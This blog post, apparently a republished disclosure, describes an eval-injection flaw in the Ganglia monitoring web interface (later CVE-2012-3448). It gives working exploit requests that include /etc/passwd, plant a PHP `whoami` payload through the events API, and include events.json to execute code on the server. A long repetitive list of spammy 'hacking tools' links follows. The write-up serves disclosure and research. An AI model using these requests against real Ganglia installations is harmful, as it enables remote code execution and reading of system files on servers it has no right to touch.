http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related links
- Underground Hacker Sites
- Pentest Tools Alternative
- Hack Tool Apk
- Hacking Tools Pc
- Hacking Tools For Windows Free Download
- How To Install Pentest Tools In Ubuntu
- Hacking Apps
- Pentest Tools Open Source
- Hacker Tools For Pc
- Best Hacking Tools 2019
- Pentest Automation Tools
- Top Pentest Tools
- Hacking Tools For Mac
- Hacking Apps
- Pentest Tools Github
- Hacker
- Hacker Tools For Ios
- Pentest Tools Open Source
- Hak5 Tools
- Hacker Tools Github
- Hacking Tools Name
- Hacking Tools Windows 10
- Github Hacking Tools
- Hacker Tools Software
- Hacker Search Tools
- Pentest Tools Find Subdomains
- Hacker Tools For Mac
- World No 1 Hacker Software
- Hacker Tools Free Download
- Computer Hacker
- Nsa Hack Tools
- Wifi Hacker Tools For Windows
- Hack Tools
- Hacking Tools Hardware
- Hack Tools 2019
- Hacking Tools And Software
- Hacker Tools Hardware
- How To Hack
- Pentest Tools Website
- Hacker Tools Online
- Computer Hacker
- Hacking Tools 2019
- Hacker Tools List
- Pentest Tools Free
- Wifi Hacker Tools For Windows
- Hacker Tools Free Download
- Hacks And Tools
- Hacking Tools Kit
- Hack Tool Apk
- Hackers Toolbox
- Best Hacking Tools 2019
- Hack Website Online Tool
- Game Hacking
- Hacking Tools Mac
- Hack Tools Download
- Hacker Search Tools
- Nsa Hack Tools
- Pentest Tools Windows
- Github Hacking Tools
- Hacking Tools Kit
- Hacker Hardware Tools
- World No 1 Hacker Software
- Hacking Tools For Windows 7
- Hacking App
- Termux Hacking Tools 2019
- Hacking Tools Github
- Hack Tools
- Hacker Tools Free Download
- Hacking Tools And Software
- Pentest Tools Nmap
- Hacking Tools Usb
- Hacker Tools Apk
- Hacking Apps
- Hacking Tools For Kali Linux
- Hack Tools Mac
- Beginner Hacker Tools
- Hacker Tools Free Download
- Hacking Tools For Windows
- Pentest Reporting Tools
- Best Pentesting Tools 2018
- Game Hacking
- Hacker Hardware Tools
- Hacking Tools 2020
- Hack Tool Apk
- Free Pentest Tools For Windows
- Hackrf Tools
- Pentest Automation Tools
- Hacker Tools Apk
- Hacking Tools 2020
- Hacker Tool Kit
- Hack And Tools
- Hacker Tools Github
- Hak5 Tools
- Pentest Tools Review
- Hacker Tools Apk Download
- Hack Tools Github
- Hacking Tools Usb
- How To Install Pentest Tools In Ubuntu
- Pentest Tools List
- Hacker Tools 2020
- Hack Tools Github
- Hack Tools For Mac
- Install Pentest Tools Ubuntu
- Best Hacking Tools 2019
- Hacker Tools Windows
- Install Pentest Tools Ubuntu
- Pentest Tools For Ubuntu
- Pentest Tools Free
- Free Pentest Tools For Windows
- Hack Tools For Games
- Pentest Tools Linux
- Hack App
- Pentest Tools Windows
- Hacker Tools Apk Download
- Hacker Tools Online
- Tools For Hacker
- Pentest Tools Linux
- Pentest Tools Alternative
- Hacking Tools And Software
- Pentest Tools Free
- Hacker Tools For Mac
- Hacker Tools For Windows
No comments:
Post a Comment